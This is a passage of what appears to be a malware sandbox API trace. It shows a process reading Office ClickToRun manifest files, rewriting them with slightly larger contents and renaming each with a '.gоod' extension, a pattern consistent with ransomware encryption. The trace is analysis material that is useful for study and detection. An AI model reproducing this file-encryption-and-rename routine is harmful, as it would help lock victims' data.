lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x72 [0091.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0091.602] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenotemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0091.602] GetFileType (hFile=0x7b4) returned 0x1 [0091.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0091.603] GetFileType (hFile=0x7b4) returned 0x1 [0091.603] WriteFile (in: hFile=0x7b4, lpBuffer=0x33bdb08*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x33bdb08*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0091.603] CloseHandle (hObject=0x7b4) returned 1 [0091.603] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x72 [0091.603] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x77 [0091.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0091.603] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenotemui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2ca0b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2ca0b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x32d0d277, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4a5a)) returned 1 [0091.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0091.603] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenotemui.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenotemui.msi.16.en-us.xml.gоod")) returned 1 [0091.604] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x77 [0091.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0091.604] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x343b3b8 | out: lpFileInformation=0x343b3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a3e81, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2a3e81, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd29a7ddb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5f6)) returned 1 [0091.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0091.948] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee0c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x77 [0091.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee5e0) returned 1 [0091.948] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0091.949] GetFileType (hFile=0x768) returned 0x1 [0091.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee550) returned 1 [0091.951] GetFileType (hFile=0x768) returned 0x1 [0091.951] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1faee788 | out: lpFileSizeHigh=0x1faee788*=0x0) returned 0x5f6 [0091.951] ReadFile (in: hFile=0x768, lpBuffer=0x34f5bb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee6b8, lpOverlapped=0x0 | out: lpBuffer=0x34f5bb0*, lpNumberOfBytesRead=0x1faee6b8*=0x5f6, lpOverlapped=0x0) returned 1 [0092.444] CloseHandle (hObject=0x768) returned 1 [0092.472] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee0c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x77 [0092.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee5e0) returned 1 [0092.472] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0092.473] GetFileType (hFile=0x768) returned 0x1 [0092.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee550) returned 1 [0092.474] GetFileType (hFile=0x768) returned 0x1 [0092.474] WriteFile (in: hFile=0x768, lpBuffer=0x3594dd0*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x1faee5c8, lpOverlapped=0x0 | out: lpBuffer=0x3594dd0*, lpNumberOfBytesWritten=0x1faee5c8*=0x600, lpOverlapped=0x0) returned 1 [0092.474] CloseHandle (hObject=0x768) returned 1 [0092.475] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x77 [0092.475] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml.gоod", lpFilePart=0x0) returned 0x7c [0092.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0092.475] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a3e81, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2a3e81, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3353f3f4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x600)) returned 1 [0092.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0092.475] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml.gоod")) returned 1 [0092.476] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x6e [0092.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0092.476] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x3596190 | out: lpFileInformation=0x3596190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a3e81, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2a3e81, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3678904, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b28)) returned 1 [0092.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0092.780] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x6e [0092.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0092.780] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0093.276] GetFileType (hFile=0x768) returned 0x1 [0093.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0093.276] GetFileType (hFile=0x768) returned 0x1 [0093.276] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0093.276] ReadFile (in: hFile=0x768, lpBuffer=0x3560580, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x3560580*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0093.281] CloseHandle (hObject=0x768) returned 1 [0093.281] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x6e [0093.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0093.281] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0093.282] GetFileType (hFile=0x768) returned 0x1 [0093.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0093.282] GetFileType (hFile=0x768) returned 0x1 [0093.282] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x2b28 [0093.283] WriteFile (in: hFile=0x768, lpBuffer=0x3561890*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x3561890*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0093.284] CloseHandle (hObject=0x768) returned 1 [0093.284] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x6e [0093.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0093.285] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0093.285] GetFileType (hFile=0x768) returned 0x1 [0093.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0093.285] GetFileType (hFile=0x768) returned 0x1 [0093.285] ReadFile (in: hFile=0x768, lpBuffer=0x3563bc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x3563bc8*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0093.495] CloseHandle (hObject=0x768) returned 1 [0093.495] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x6e [0093.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0093.495] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0093.496] GetFileType (hFile=0x768) returned 0x1 [0093.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0093.496] GetFileType (hFile=0x768) returned 0x1 [0093.496] WriteFile (in: hFile=0x768, lpBuffer=0x33d2d20*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x33d2d20*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0093.497] CloseHandle (hObject=0x768) returned 1 [0093.497] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x6e [0093.497] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x73 [0093.497] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0093.497] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a3e81, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2a3e81, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x33f124db, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2b38)) returned 1 [0093.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0093.497] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmmui.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmmui.msi.16.en-us.xml.gоod")) returned 1 [0093.498] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7b [0093.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0093.498] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x348c1f8 | out: lpFileInformation=0x348c1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed25796c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed25796c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd28c2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x906)) returned 1 [0093.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0093.498] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee0c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7b [0093.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee5e0) returned 1 [0093.498] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0093.499] GetFileType (hFile=0x768) returned 0x1 [0093.499] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee550) returned 1 [0093.499] GetFileType (hFile=0x768) returned 0x1 [0093.499] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1faee788 | out: lpFileSizeHigh=0x1faee788*=0x0) returned 0x906 [0093.499] ReadFile (in: hFile=0x768, lpBuffer=0x348cf08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee6b8, lpOverlapped=0x0 | out: lpBuffer=0x348cf08*, lpNumberOfBytesRead=0x1faee6b8*=0x906, lpOverlapped=0x0) returned 1 [0093.500] CloseHandle (hObject=0x768) returned 1 [0093.535] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee0c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7b [0093.535] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee5e0) returned 1 [0093.535] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0093.536] GetFileType (hFile=0x768) returned 0x1 [0093.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee550) returned 1 [0093.536] GetFileType (hFile=0x768) returned 0x1 [0093.536] WriteFile (in: hFile=0x768, lpBuffer=0x3508418*, nNumberOfBytesToWrite=0x910, lpNumberOfBytesWritten=0x1faee5c8, lpOverlapped=0x0 | out: lpBuffer=0x3508418*, lpNumberOfBytesWritten=0x1faee5c8*=0x910, lpOverlapped=0x0) returned 1 [0093.947] CloseHandle (hObject=0x768) returned 1 [0094.013] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", nBufferLength=0x105, 